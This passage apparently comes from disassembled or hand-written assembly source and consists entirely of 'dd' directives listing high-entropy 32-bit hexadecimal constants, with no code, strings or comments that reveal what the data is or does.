		dd 39047FD1h, 56E927FEh, 6003D455h, 424A74CBh, 0CEFAA0BBh
		dd 851344E8h, 8CFBF300h, 8B5298FDh, 7DBB0191h, 2A4E9E6Bh
		dd 0B765D030h, 8D015F0Dh, 0CC6A9DCDh, 20E5692h,	27E71C68h
		dd 0C7E02408h, 11A9C107h, 0F31C9BAh, 9759BD0Bh,	449045A2h
		dd 0EF7C300h, 0A1B9702Ah, 22002CECh, 33D549C9h,	2538C01Ch
		dd 43561599h, 0EDDC4CEh, 9ECB8002h, 105FA6B2h, 0A7B634h
		dd 8D2E1F48h, 0D3E94186h, 2502D27Fh, 3A380BEAh,	0B5137804h
		dd 3FE47BC3h, 0F8001B23h, 897E0B5h, 62202FF4h, 0DF8FEFC4h
		dd 144F5040h, 7C633A70h, 89CA8081h, 390FF19Dh, 0CB01CE74h
		dd 0C25548A9h, 0D55B9D04h, 54201D71h, 0AD344A0Dh, 8C19A87Ch
		dd 0B4D3CB02h, 0D7DAB56Ah, 842AE6F1h, 0B17F27AAh, 3318DA14h
		dd 72A9BD27h, 0D2F693CFh, 0DCD0C05Fh, 8135BF68h, 60831791h
		dd 0EE8C7F1Ch, 23CC5521h, 5C28C4h, 0F7B41ECFh, 8E6C7B49h
		dd 0AF465B95h, 43007535h, 0B12AE9D6h, 528C4B0Fh, 7B61EB03h
		dd 6EF4BF25h, 4F81F850h, 8475E208h, 0C4956160h,	550920FEh
		dd 0E2392797h, 0FDD30078h, 4A1289C5h, 48FE0430h, 0FA53C71Ch
		dd 98478B20h, 18261C9Ch, 0DEFC4003h, 0CDAA54B0h, 5F5BE31Ch
		dd 0B720ADABh, 0C6AE982Fh, 84E29D8Ch, 2D5189F6h, 0CD6D63AFh
		dd 94D96EC0h, 717627E4h, 333660D0h, 4A86ED39h, 4E89BD74h
		dd 0DCECE7BDh, 0B960F600h, 4D63C2BFh, 61C12F8Bh, 0F84A8EC6h
		dd 18AC1CE9h, 26011D8Ch
		dd 0A9AF962Bh, 0ACBCD504h, 0B52305DEh, 0F8622899h, 0F75BA28Ch
		dd 8889973Dh, 3C3855FFh, 45B504C5h, 0BA7CA50Ah,	1F07CD4h
		dd 5215E5EFh, 7ED98A79h, 7453A80Bh, 0E25F1784h,	9883D7A9h
		dd 45E9F8DEh, 95FF71F3h, 4705ED64h, 0FC93AB49h,	18F5DD09h
		dd 2D6E88DEh, 75452A7Fh, 290920A0h, 0FA5E343Bh,	7DE80538h
		dd 0AD8A1C72h, 0B7B800B6h, 6C9D46E1h, 95FB00F4h, 76DCD313h
		dd 3C00332Ch, 1D12CC56h, 8DFD37h, 808F5C8Ah, 4ABAEBC9h
		dd 277514B5h, 77C0D505h, 809DC252h, 5ADE4CEFh, 70F20034h
		dd 72F1037Fh, 0B000A07Dh, 0A7FD21F8h, 752ABA4h,	0A2AD94EEh
		dd 0A5AA41CEh, 7007E58h, 747BEF35h, 71F6BDA9h, 0ACB7E901h
		dd 5BE9998Eh, 188E0FCh,	0D90BCD56h, 80D30314h, 52245085h
		dd 609E91h, 404FF82Ah, 0FB64BE0Ah, 0F1213618h, 9DFA7629h
		dd 0A64DE282h, 0C027B97Eh, 36A494h, 5E518DD7h, 0C2CD754Fh
		dd 67E13B00h, 2E5C538Ch, 7E30CCDFh, 7700854Bh, 92B3C70h
		dd 7F8898h, 0CB818EB9h,	0DA04EF59h, 46A7D500h, 9987BE58h
		dd 60C79D4h, 0A354FBBFh, 0C3004455h, 9B944DA7h,	3062DE02h
		dd 0CA1B3DEDh, 0A400FABEh, 0D889BDA3h, 0BFC90FCDh, 4097E7E9h
		dd 1BCB4CC8h, 281285BDh, 8826F0EEh, 92E4A1C0h, 0BDB78F91h
		dd 0A9FB3F85h, 81205Ah,	9AB0111Bh, 5FCDC84Eh, 5691E30Bh
		dd 0A3100F59h, 0B2744019h, 0F8F88924h, 7CDEC258h, 868B2120h
		dd 9600CA5Ah, 49F99E53h, 7CF9593h, 13D0A2DEh, 0A81FE01Ch
		dd 6BF953D4h, 7710A620h, 5264059Eh, 7F093Ah, 8CFE54B4h
		dd 0DF020F65h, 95030C34h, 2FE17608h, 0CFE0A7Dh,	0B5C094h
		dd 0D2DD059Fh, 8C8340h,	618ABEE4h, 2B15E8E7h, 3B8C99B7h
		dd 4F85520h, 1AFA0DA3h,	0C6888088h, 0F5020807h,	7125274Bh
		dd 419182EDh, 0FCEF24E0h, 4AD800F8h, 0C198909Fh, 0B2EBEDFBh
		dd 0E1B0A062h, 0D82553h, 0BAAB40FCh, 7AE868B5h,	1659A33Ah
		dd 39A106E7h, 123D73ECh, 1B8CA2Ah, 0C5C37DA9h, 0EAD14077h
		dd 99309156h, 4EBA664Bh, 7080A34h, 12999EE6h, 2CB93333h
		dd 0FC6B509Fh, 36002AF3h, 9051AB42h, 1802CF7Bh,	9885DD0Dh
		dd 0A016DE6Ah, 0F2A4E35Dh, 0D00F5E9Eh, 0D354B401h, 898F101h
		dd 0EACDE1FFh, 528EFC81h, 81900D3Dh, 8AEE1A44h,	88526F75h
		dd 1E4A001Bh, 80A8C979h, 0AD30225Eh, 7E8A0F7Dh,	769000C0h
		dd 4DF8DD33h, 14009E3Ah, 20190754h, 122F1B15h, 397FA28h
		dd 0B7FB0913h, 4E848h, 0CEC1015Bh, 0B7CE53Fh, 45585797h
		dd 9D007BF2h, 0A4D50B92h, 6143C4h, 498F98C8h, 40C09699h
		dd 0AA38462Ch, 0AF857C1Fh, 0C6F8B1CBh, 879191A8h, 29653F01h
		dd 0A7F404AFh, 87260684h, 3875E210h, 5FD36100h,	2047D805h
		dd 0E40B00D2h, 0C4D95774h, 41004EF8h, 66E187BCh, 0AAA5A0h
		dd 2BBFD0FEh, 0F0B969EEh, 324EECC0h, 0CB4F614h,	0F772A0B7h
		dd 4301F116h, 1E3B5DD5h, 8430E6B2h, 0A7023DDAh,	0DD609FADh
		dd 0C3488986h, 0E0328F6Dh, 0AFC984EFh, 916E5EF9h, 0C478C7A0h
		dd 0A90E56F3h, 80FB1D15h, 94C0B0BFh, 0C0534F83h, 0CCA4D089h
		dd 505C7FEh, 0C43AF30Ah, 2160FEE8h, 86D850ECh, 89BB7D1Dh
		dd 0B68ED000h, 2A09DCE5h, 5A9866F8h, 1988B80h, 0EC83CF93h
		dd 0FC24AE5Fh, 871B4FC5h, 0E65C536Bh, 31B8D2C9h, 18003E21h
		dd 6BB2BDAFh, 0D8D70A11h, 81A6FFC5h, 1EEFE060h,	682960C6h
		dd 0D2F3802h, 80A7A0E8h, 0F5252A84h, 7283A1C9h,	1131586Ah
		dd 2813A6D2h, 1AF42A78h, 405D2452h, 0E80E00DAh,	0D0DF0A98h
		dd 0EAD2580Ch, 9FA4DA2Ch, 6A74E349h, 8C88F29h, 0F9090132h
		dd 1062CD39h, 7D7160D1h, 193CF12h, 891C61ACh, 328ED84Eh
		dd 800183C5h, 98386660h, 3D60DFF3h, 684916E4h, 7A7BF43Ch
		dd 74F9712h, 800D341Ah,	9AB83434h, 0A45F0047h, 6317B5D4h
		dd 0A22470E7h, 0A10046A5h, 0BB8D37D1h, 0BDDE03EEh, 5EC8769Dh
		dd 215F1C00h, 60D9C7B3h, 0D6BF4D16h, 7BC6C407h,	0E608A1BAh
		dd 79493B52h, 0DEB680F8h, 7E8547D1h, 6D4B018Ah,	7DC64939h
		dd 42EB4297h, 7E6288CAh, 167350FDh, 0A034E960h,	3EE49F99h
		dd 0B008292h, 3632826Eh, 7CE439h, 0B82692CEh, 4EE2D1C9h
		dd 98BF4C06h, 73A5F6Ah,	55DD4BF9h, 9B5CA1F2h, 667824CFh
		dd 70C48h, 0DFD01250h, 1966563h, 3F3031C1h, 7A5D4911h
		dd 14428300h, 71454AFEh, 0CF20BFB8h, 836D5CE7h,	0F49BD700h
		dd 0D5A80A9Ah, 0A33402D2h, 803988B4h, 13A10540h, 65C33D24h
		dd 4843E22Fh, 30D4A262h, 900F9343h, 784CF664h, 8A2B06C8h
		dd 8092D5ACh, 335EBBh, 0E7D058F8h, 0FE68B449h, 2F9BF10Bh
		dd 0FAE078D5h, 84190016h, 0EAA19145h, 36F48EF5h, 0A3E1DF26h
		dd 0A51A0A84h, 7CE0240Eh, 5FE83E72h, 0A0AF9902h, 0C0049EEAh
		dd 5D15CB72h, 0B098F03h, 56563D67h, 83778D0Bh, 6DB7E4h
		dd 0C8758F08h, 763A26C7h, 0E55DA702h, 0F6C913EAh, 396F002Ah
		dd 0A19D0C2Eh, 99965300h, 254DC04h, 0E7E10001h,	17A68175h
		dd 0AC28C49Bh, 0D0982A76h, 6B48AE2Dh, 84A4F541h, 7DD600F0h
		dd 5DE6FE4Fh, 6F5A9D95h, 68E0DE8Bh, 11B57FD6h, 0E2D052CBh
		dd 88C25F81h, 5E86EA6Bh, 3221FE14h, 13C25B48h, 78461022h
		dd 6ABE1334h, 0F2ADF0FDh, 29FE5E5Eh, 0FF167B2Ch, 0C1EC35C5h
		dd 104BD8CFh, 5B52BDF2h, 7E8B301Ah, 0F8E38953h,	0B455ABC3h
		dd 0E9001C32h, 0FB7AB3h, 94F822FFh, 0FC8C4CF5h,	0B8A93102h
		dd 0D41602D5h, 0C0FE4EE6h, 27D86BAAh, 68EE5C0Ah, 0B359211Eh
		dd 66018500h, 78500914h, 39B1B88Ch, 3B00237Eh, 620C4DBEh
		dd 66002497h, 7058C609h, 2DD81365h, 0D24E64A2h,	403DCD9Fh
		dd 0D9BF0F2Eh, 1A0F629Eh, 2C027EE4h, 7762BAB0h,	9EE146CDh
		dd 582EC0E3h, 9D8944F4h, 4F55A6D0h, 0B4EECD20h,	0C9640007h
		dd 1D8B3E4Bh, 6000E516h, 82B194D4h, 164D6EB7h, 0EE19BD09h
		dd 5E26ED7h, 5AFC7016h,	81AB80F9h, 280B82E3h, 4490507Dh
		dd 83E6BDD1h, 0D903CE00h, 0ED71A0D7h, 6C2505C4h, 0BF608790h
		dd 0EB91A4h, 95CCBAAAh,	59D197BFh, 617A999Dh, 5326B02Bh
		dd 5A7CB71Eh, 6EAB9012h, 41BA1299h, 31A330AFh, 47B4E995h
		dd 0B23777C9h, 0B0400607h, 5BBF613Fh, 8BD423A3h, 0E4F4BDDAh
		dd 2D1B52D4h, 0EBE43700h, 1ADC3315h, 7EA98C4Fh,	8C1BACh
		dd 0CBA81656h, 9CECFFBCh, 16CEB720h, 0F86D9D8Bh, 18A5A6Dh
		dd 0A73AE17Fh, 259BA059h, 6A71B0D9h, 422D68F2h,	6D57026Ah
		dd 3396C3BBh, 4E10D4CBh, 5027318Dh, 6703D9D9h, 0DBA53C32h
		dd 0AB59F0FBh, 0B7E42503h, 0DC27F17Eh, 31C96EAEh, 46DBBDCh
		dd 3E6AB53Eh, 3CF47A20h, 66A0287h, 6ECF2C72h, 41923175h
		dd 9E09386Bh, 2B1C9C92h, 111255BDh, 8D6FEFh, 0CAE0D2A9h
		dd 0B0383034h, 7E31A29Eh, 0B75BEBE1h, 0EF06D50h, 56D56A54h
		dd 0FD9D3181h, 0EA84833h, 0E4A888h, 0F201083Ah,	541D511Ch
		dd 3F636109h, 198F707h,	8B4A0CD3h, 0BDA4ACF8h, 0A22BA992h
		dd 0B6FE120Eh, 12790BBBh, 8A42D851h, 3335DFDAh,	0E18F37A1h
		dd 0DD5721A9h, 606A0CB4h, 0F76C32F1h, 0DE01117Eh, 879F20A7h
		dd 21021817h, 0ED258556h, 8902C039h, 275BA18Dh,	0FE8E2CE2h
		dd 0F2226910h, 99B070F4h, 2AC3809Ch, 8C5BE5D3h,	929A5D28h
		dd 0F5266120h, 10F3E87Bh, 0E092342Dh, 0F65A808Eh, 4FCB22D3h
		dd 5854884Dh, 0B8D16F00h, 8A5F5142h, 2B8BB5FDh,	46312551h
		dd 0D0F613E7h, 1001B5C0h
		dd 25658D29h, 0BCE46B71h, 1BA521B5h, 34D18B0Ah,	0DF63C180h
		dd 95512019h, 0FD222670h, 6BE9E208h, 2C76297Eh,	44858BC0h
		dd 2D5FE24Ch, 0EA43E2B7h, 0BF980661h, 756A64D8h, 23A2EFE2h
		dd 9934EC4Ah, 0FC14BD72h, 0B960C7E2h, 1B9F41B1h, 0B6ED95F0h
		dd 0A261164Eh, 5A3022E9h, 86D69CF9h, 9D0B70A0h,	0ECB8594Bh
		dd 33D9C2B7h, 6795CA0Eh, 0AC05BB1Ch, 0E3A96856h, 25703384h
		dd 0FA96D3BCh, 4C84F89Bh, 0B5D0506h, 3A85DDAFh,	954A0988h
		dd 0DA00BDD0h, 80222DA9h, 1CAC7527h, 47F52F6Bh,	79B914C3h
		dd 0E1FF1B58h, 0CA176ACAh, 0F98B51DEh, 678E953h, 0AC1D5008h
		dd 2B1240DDh, 0E82CC058h, 1B248C15h, 0A43D24A3h, 27123DA5h
		dd 162E70BFh, 0C006AD5h, 6911EB70h, 19B26F1h, 0AF8FE2DCh
		dd 2E6C3446h, 0D31C2B20h, 66510F77h, 12A13F42h,	6FBA5F5Bh
		dd 4994431h, 2ECF6D6Ah,	3E0048E2h, 0DAEB63ADh, 0C4F636B7h
		dd 9501C809h, 5BB3241Dh, 4BB08Ch, 0BFCB9996h, 5F81B78Dh
		dd 31D010B5h, 324927B5h, 66BD606Eh, 451A9567h, 89BC7F20h
		dd 7C0052FBh, 49F9312Ch, 0B781A5h, 0AFCF73A7h, 8F0F2D06h
		dd 5F96D991h, 9A5ED2A7h, 1BF8B52h, 0C551BB78h, 5BCD2B6Ah
		dd 8A527584h, 9E031E6h,	14B5E101h, 0AD6F4BC5h, 0F6C8EDF0h
		dd 0E8CC4B9Bh, 6013D313h, 0D0F7B5F7h, 0F2E33005h, 0F8B7D614h
		dd 13AD16F0h, 0BF4D70BFh, 2A258222h, 6BD2D64Ah,	48F844DFh
		dd 0CA4FE3FFh, 7E7227B9h, 0E030F645h, 9BACAC39h, 0AB6F1372h
		dd 41900549h, 0E3BFA821h, 6E715F55h, 0B7830B3Bh, 47DB51CEh
		dd 2DB49F4h, 0B7C6C300h, 0B0EED2h, 20D48C44h, 0F96A1082h
		dd 3AB19C00h, 812CA453h, 951B02EFh, 605F07A1h, 0A900F146h
		dd 5908E257h, 5D667C2Ch, 900B84C7h, 0C0DF5B9Bh,	0BFF9BF6Eh
		dd 0A4F86F09h, 892DA29Ah, 31A049C1h, 430BFF14h,	0E5C15E1Fh
		dd 0B5F08360h, 0C84C18DCh, 0A618B561h, 0D6049ABFh, 0CF802888h
		dd 665CD0AEh, 0E7519CBEh, 3D6EE19h, 36918C40h, 7032CFCh
		dd 0EA400DFh, 907C7639h, 4A6CB71Ch, 6A2E5845h, 2EBCB6ADh
		dd 470ACB00h, 752B68F5h, 5082020Eh, 9AB66052h, 0A200B2E6h
		dd 20F540B1h, 4A76D1Dh,	621FAC89h, 33D2AB61h, 0CAF809DFh
		dd 108ED409h, 7033737Eh, 0B77342AEh, 8BB0E40Bh,	0A1B55DFAh
		dd 3480C0ABh, 6630C2DBh, 0BD0B1AB3h, 4D574FD5h,	6018644Bh
		dd 499A0EFh, 0CEE95CEDh, 0B798AA01h, 33C903DCh,	0CFFE2130h
		dd 54957B80h, 90BDB925h, 72631C5Dh, 69D40588h, 0A8A3993Eh
		dd 8951C4A1h, 5B2F22FFh, 9869A5D4h, 0E4A0943Ch,	9A1E027Dh
		dd 91BBB555h, 9017667Fh, 9F72F6F2h, 3381C5BDh, 4A11FA79h
		dd 2DF38E20h, 0B4426563h, 60C94F55h, 87FDF5A7h,	4F628502h
		dd 406C3596h, 409D8DA5h, 6178F51Fh, 0E72480E8h,	3C1B982h
		dd 103ABD9Dh, 0A111EBCCh, 4461328h, 0EEE4FFA6h,	5CABD88h
		dd 8B9D7BC8h, 18C4AEFBh, 0A78071ACh, 0A1B64F02h, 50804B9Ch
		dd 0F5C9CFBBh, 9B964E48h, 30128076h, 2C319216h,	0A70F7D85h
		dd 0F90FA1E6h, 9FBCD68h, 0FAB904CEh, 832B790h, 89311AB0h
		dd 2B6A12B5h, 0E0B86F57h, 9B0FC5D3h, 0C0A97702h, 60FA8A90h
		dd 0BD39B258h, 3F0FAE44h, 82047DEAh, 625B5A53h,	70A05B60h
		dd 2207CFB0h, 21EC921Ah, 0B5FB1459h, 9C4326CDh,	4154883Dh
		dd 606B042Fh, 0DB61481Ah, 0C583C04Ah, 5387FFFh,	0A5BF663Eh
		dd 0C0B8313h, 0C660EA85h, 0BC03512h, 0E672F01Bh, 4DEBA151h
		dd 71224022h, 4F01BA7Fh, 0DC8A535Eh, 5B2C8B0Fh,	379BD82h
		dd 7F8C5605h, 6BE20020h, 472F6DD5h, 90B5BC1Eh, 63A07Dh
		dd 0DADFCE2Ch, 0BA3046F3h, 0A713FCE2h, 2CBF5BFEh, 0FE8A240Fh
		dd 4B242561h, 8E0F4234h, 8B068413h, 20CAFAh, 629F15BFh
		dd 5B48D731h, 0AF16B3AFh, 24A09538h, 0E5BD2B09h, 0CF1CDF0Dh
		dd 7FEAC055h, 0CD60DE05h, 0C5AEA22Ch, 0EA958925h, 6BBBD553h
		dd 1D2323h, 98A55684h, 0AF0B316Ah, 51D58F88h, 0CFBF8185h
		dd 3F4CF123h, 0FFFDDB16h, 92BCC8ECh, 0C19E7627h, 625B5BDh
		dd 7975640Ch, 3058296h,	0FB5B0229h, 0F218EB50h,	0E2647CF5h
		dd 3ADD6E34h, 9C87353Ch, 85108E11h, 4D31F821h, 22EA2847h
		dd 80601D05h, 8761D5D5h, 3276A59Dh, 6B1A5FC9h, 0F81EFA82h
		dd 836830D4h, 26E9DE17h, 8C1DACh, 0B009D5FFh, 0C5AA3CE9h
		dd 0BDE6E2EBh, 2F64DD0Fh, 0F3A80D4h, 5884DBC6h,	802B7C60h
		dd 83F904ACh, 1EDBBBC2h, 650A7CBh, 0E0A020ECh, 3AB525E9h
		dd 10B7FF17h, 0E8207A07h, 74EB25A0h, 291E2F2Ah,	0EC9842C6h
		dd 438D155Ah, 86B61298h, 0ACA42135h, 0A640F19Dh, 265509F7h
		dd 34CB9E14h, 0FB812979h, 0F85DA107h, 0F73996F1h, 8EE6020Bh
		dd 0DEAB3A59h, 9DC2D63h, 0C9ADBC60h, 0B3045C22h, 0A05BD812h
		dd 0BA0060CBh, 1271A6D2h, 0E661D58Ah, 0A4D395F8h, 40191A59h
		dd 0EF03E4BFh, 0F361432Eh, 5D291909h, 0F2B35296h, 0D27D58h
		dd 0BBF4976Ch, 703AA8B4h, 0EF166698h, 27A20B30h, 64AD4A88h
		dd 76A30050h, 0AD938AB6h, 3800CF26h, 4F5B9EEEh,	1570D769h
		dd 91D98B50h, 0E0BDA65Fh, 1F3B73Dh, 5D6186ADh, 0EC81D99Dh
		dd 0D201AB05h, 5470BB49h, 0B5594BE8h, 0F335137Bh, 0F7811D21h
		dd 3AB2FAC5h, 85891520h, 0ED174AA1h, 4D210h, 0EFFCF57Fh
		dd 3DF597A2h, 69B580E0h, 0F3B6417Dh, 0BCFE24Ch,	690C3D9Dh
		dd 0F78713Fh, 0ADB50104h, 0B4FBFC2Bh, 6CA0F8B6h, 0AA002A48h
		dd 0AB477243h, 0B7C62721h, 0D3009A3Dh, 0F0492A51h, 8FC3B5B0h
		dd 0FF9900DDh, 810F5B4Bh, 890E7995h, 1EDFC844h,	0CC7B9544h
		dd 7EA0CD50h, 2D37651h,	5F790D03h, 4BD4EBE9h, 0ADCC52Eh
		dd 0D0E70C9h, 28590BC7h, 958BE4F5h, 13404ACDh, 12C8C7BBh
		dd 0E3F88BCEh, 29204A52h, 2D5122E4h, 2E7CE0EBh,	0F6047627h
		dd 9156B460h, 39F3BEC2h, 0E64A9A6Ah, 6D37F04Eh,	2D0A1289h
		dd 58E5A8C5h, 5E1922F3h, 3E4A2057h, 0CF006D75h,	0EF4C9E79h
		dd 3F36D2h, 895216F0h, 5B2567A1h, 40B5EF97h, 63E52BE1h
		dd 86E82313h, 0CF1D60ABh, 0AD2836F9h, 3C13AF76h, 6FEA1615h
		dd 0AC0200CEh, 7138684Eh, 4C422595h, 226DA7C2h,	283055EBh
		dd 744E63E8h, 559575A0h, 0A23DF36Fh, 1098E6B8h,	74022D2Dh
		dd 8618FC5Eh, 893C3448h, 1D992F8Dh, 0B57114FDh,	0BE09E3B5h
		dd 0BB8772CAh, 713AD06Ch, 0EC756700h, 0FE6645D2h, 0EA40BFA6h
		dd 0F6BDD1FFh, 2700D655h, 0BB1DA3F8h, 759F11F7h, 8ACE092Eh
		dd 0AD717B62h, 9EFA8644h, 0AE66CC93h, 26A25FAh,	0DC1CD6h
		dd 0B1CAF71Fh, 0E433BDF8h, 80BFE72Dh, 905E7561h, 0D98A0360h
		dd 506180B7h, 0F28B52B8h, 0D00FBAFAh, 8B1811C2h, 0C088CD90h
		dd 1CB4ED21h, 0B307A6BBh, 0DF39E927h, 4648571Ch, 0A79B4BBEh
		dd 0C45860C2h, 9CD9F181h, 0B0C57E91h, 0D2789AEFh, 851D2DF6h
		dd 12E9086Eh, 0A4CB3087h, 0F16D6F10h, 42830162h, 0E3328CFAh
		dd 0E2B5D974h, 609D6FF5h, 0C0D46CA9h, 0D390FCE2h, 76230D25h
		dd 2EF851ECh, 37C19564h, 0EC7F08E5h, 8DEDA5E4h,	5100B1A8h
		dd 37165F58h, 5D6AC055h, 1EBC17FFh, 88976000h, 0E537A687h
		dd 0BF9002F7h, 41B91555h, 7B499FE1h, 1A78ACA5h,	1097CA4Ah
		dd 0B04E0113h, 0CD38A363h, 6BE25FB0h, 4080351Eh, 2816D6C6h
		dd 0B97DA8Ah, 9F230291h, 0D9A382DDh, 71E40329h,	64FFFBD8h
		dd 95482EE3h, 950186E2h, 899579A5h, 0B16C028Dh,	0B8337530h
		dd 147FB9F7h, 0A1E80027h
		dd 0D73FB310h, 41581276h, 0A1C24AFCh, 0A41375FCh, 2B0C0897h
		dd 5EBD2C8h, 8B3BE7D2h,	1D274ED1h, 0DEAAC0DEh, 0F61F6016h
		dd 1DC58EFCh, 0E5C081B7h, 76554C50h, 94BD4A47h,	4A9BACFAh
		dd 0BAC077A8h, 0A00166DEh, 60597CBFh, 2740F37Ch, 2596B549h
		dd 42B6CA61h, 0C346092h, 0B924979Ah, 0F9C25814h, 45E9800Ah
		dd 5B7412BFh, 0BC662529h, 923669Dh, 1F35B529h, 21C4A4D4h
		dd 1DEB894Fh, 0C05B71A9h, 0E6F9BF8Ah, 9D127B22h, 28BB12E1h
		dd 80429E5Ah, 82DD9A4Bh, 55DC8A77h, 70FDBC12h, 31250790h
		dd 1FEB1290h, 7ECBD240h, 4E04B263h, 6A5F7F56h, 8F6FBFh
		dd 396AD008h, 28D954Ah,	7793BBFBh, 0EDF74866h, 0E196767h
		dd 8138010h, 9CBD160h, 0D98529F7h, 0F0B97EC0h, 0AC440E4Ah
		dd 0F3B85EEAh, 0A06D2651h, 84ED9777h, 412687C0h, 6EC05A2Bh
		dd 9D6F5013h, 4A949549h, 4725A9D8h, 53E69232h, 0F8106DE3h
		dd 29130D55h, 3DA3AD9Dh, 0CF8827F8h, 0F0996791h, 0FEE8AB70h
		dd 8BD78107h, 801167ADh, 269A3EBh, 0F36BD3h, 0E3B8A8BDh
		dd 7F0243FAh, 296E3DD3h, 921EE596h, 1C7581AAh, 0D4EEB6AAh
		dd 5C4A9601h, 0BAF70FD1h, 0EF3E256Ah, 72BDA0h, 8C5E3ED4h
		dd 52F1BD56h, 121BAA02h, 5CCE02F4h, 29056F1h, 7604DD25h
		dd 22A0F4B1h, 87022AAFh, 926D7638h, 5719FD60h, 49EE2A89h
		dd 579616Bh, 0B8534644h, 40B824DEh, 721BD61h, 9BE702Eh
		dd 0C5E45B5h, 9BD50BFCh, 6E2430ACh, 69472B0h, 230984DDh
		dd 0A09538EAh, 51B1568Ah, 0EF57F6AEh, 0EE324004h, 0C80210D0h
		dd 0E9B9A621h, 71BB200Ah, 75021C36h, 0F79AF013h, 2B8AA4DFh
		dd 23C6CEEEh, 4F1BF033h, 8D3F2900h, 821A320Dh, 5190A152h
		dd 20766D3Dh, 604B1C6Dh, 4200DA6Eh, 0AE536401h,	0D73B9868h
		dd 22AB5F99h, 0F45C5FD0h, 378CE2Bh, 0BBF700C6h,	34A6B2EBh
		dd 0B898A48Ch, 7F25532Fh, 2FFEB199h, 996F1F12h,	25C42A28h
		dd 9D7615CDh, 77015A62h, 0C700CBBDh, 0EF80E003h, 0F78102AAh
		dd 31B10899h, 0B4AD6ED7h, 63AD416h, 0AAA90990h,	75808260h
		dd 0D1810022h, 0DC253D89h, 0B580EC25h, 0D700B8F9h, 936610CEh
		dd 7E9800C9h, 2F0F9912h, 0BD1CD381h, 5F933E33h,	98D631FCh
		dd 0D600707Bh, 11369C88h, 0F489128Eh, 394A7Eh, 0ABE7BFDAh
		dd 0C8BF5EADh, 820AC9CFh, 0F2BB00Eh, 5EDE9C5Fh,	0FE323553h
		dd 0C87F7299h, 2182FEF5h, 95417A4Dh, 4B146F8h, 0D5911DBCh
		dd 9FDDFB0Bh, 48F246A5h, 0E4BF660Fh, 66271C76h,	0A5B32435h
		dd 9AB74145h, 20B62A58h, 0E42CE8E1h, 3C06AD01h,	4A55610Eh
		dd 0EBD39DB8h, 90181759h, 56074612h, 85A9CF3h, 0E90B0959h
		dd 25AFF2B3h, 65E20FCFh, 60386FD5h, 2E05A293h, 60BC9B5Eh
		dd 0E23D525Fh, 0B02C4683h, 0B8402530h, 9C7312A4h, 4A90F333h
		dd 3E3B5204h, 0FA9270BCh, 7200196Fh, 9433ED66h,	422F3A86h
		dd 0B896134Bh, 38C5E2h,	49F3B3A4h, 44C0B86Fh, 0BEE31C06h
		dd 128D89A2h, 2970DCCFh, 0A8E429D9h, 1D77F7Dh, 0BDFE9F41h
		dd 6CE847E9h, 57238041h, 97944DACh, 37F7A089h, 0BB100061h
		dd 0E6B5CE22h, 0C0AD5C30h, 9D0725DBh, 0B983C3F9h, 0E08F58E1h
		dd 5A5F5360h, 4A8EFD61h, 7BA5DC8h, 83E112D6h, 0BC89EFCBh
		dd 279E982h, 8EBCF924h,	90F70BCBh, 2F2E68EFh, 0DB010A60h
		dd 84813BE5h, 1563D15Ch, 7ACB97FCh, 13014F7h, 1AE5B0B5h
		dd 0F63DA21Bh, 9D0C46FDh, 0B078ADDBh, 69977508h, 520AE857h
		dd 0CE98C9C6h, 0CC256CE1h, 969A4687h, 4F2D4027h, 0C202AF0Bh
		dd 0FA7384BCh, 0AEED7561h, 0CA9B55C9h, 0C45D01C2h, 0CB5F4BFBh
		dd 95310659h, 81150AEDh, 0B32B17C3h, 0A41D8867h, 25C5080Bh
		dd 53172D99h, 0E0F04261h, 5B7C25E3h, 0F200F3D6h, 0D880312Bh
		dd 0F9F1B5CCh, 5546A8D7h, 0B62A9355h, 87C1E027h, 0C2434AD9h
		dd 295E135Ah, 0BE75B671h, 0F55D66h, 0D1F6D6C0h,	45032B81h
		dd 8D894325h, 0E03CBDB5h, 9B71D67Eh, 0EB7784FAh, 6470CCh
		dd 8DA0A30Dh, 0A450AB58h, 0FB0B4B1Dh, 46F8D404h, 820F2ABFh
		dd 0C0B8AE23h, 4E619DFCh, 0A73AF832h, 1C1429C2h, 40654D9Fh
		dd 0E63A629Eh, 5E7FEB2Fh, 0AFF965B4h, 45E923DCh, 0E51B6121h
		dd 93023FFAh, 0E217B3BFh, 0F3774A06h, 16C47085h, 7ED6FE04h
		dd 0D5F1CAC0h, 0FE77722Ah, 1FEAA35Eh, 7A03E6D6h, 0EF600ABh
		dd 2B6D59FBh, 61B5FE8Ah, 0AB4A2950h, 0AF88854Bh, 60D7469Ah
		dd 55C49D5Ah, 3D950913h, 0B589F741h, 0A27E0F25h, 0F3F9D241h
		dd 870903A8h, 0CEE8327Bh, 6079ADDCh, 57BB9061h,	1360D714h
		dd 7E112D8Dh, 7BBCD68Ch, 0AD0836C0h, 8B9602BDh,	98D1CF35h
		dd 0F812CE5Eh, 0FD4AC9F7h, 0B27EAD1Ah, 0E57E13D1h, 0C2ED20EBh
		dd 0F700C10Dh, 0C75CA0CCh, 0C4A870D3h, 0AE1839D6h, 0ED30A39Dh
		dd 4AFDE454h, 8FEC9E12h, 283AA05Fh, 93AA9F0Dh, 0B2519765h
		dd 15604AA7h, 0E67BB09h, 5F48B35Bh, 0AAFEA893h,	99C15702h
		dd 0E141F8DCh, 0B5E015B9h, 96712462h, 0A064A7E7h, 41A53Bh
		dd 3E97668Ch, 9BF883Fh,	9F694720h, 3CE1F80Eh, 2025ECB0h
		dd 789B96F9h, 19181B71h, 4EA61C01h, 8DE8B002h, 1E56F62Ah
		dd 466741BFh, 0D9149703h, 0DB977470h, 8314D05Ch, 1F6D1BDh
		dd 9F8C1CBBh, 0F8E4147h, 24FD7E8Fh, 7DC95EC0h, 0AB02F4E1h
		dd 605F12DCh, 0DC6C5C96h, 0C88B4B1Dh, 0BCE2AA70h, 93909DA4h
		dd 470033C6h, 63FC1642h, 250EEEA8h, 937E70E3h, 0F1C46D6h
		dd 40525B23h, 0FE81BAB1h, 8E66952Fh, 0FB01D271h, 137FE00Dh
		dd 0B26A0322h, 605E13D8h, 89D5D04h, 0D1900412h,	6665EB61h
		dd 151DA881h, 5366723Bh, 68AD8161h, 0AFFC5EF4h,	597AEA92h
		dd 933B7E00h, 0BEB7524Ch, 0E12DAE00h, 2B9ADF81h, 20334AE8h
		dd 0B3F565BEh, 0C5577200h, 2321B59Bh, 1859209Dh, 838A5B4Eh
		dd 46985422h, 0F650BA97h, 162DD483h, 28BFEABh, 0C65F3AB4h
		dd 92D1817Bh, 0C4664FF4h, 0EB5F58EAh, 40F26C12h, 5F1770D8h
		dd 0F09DE975h, 0DC44B653h, 0C18B2813h, 0F24F436Fh, 13D4582Ch
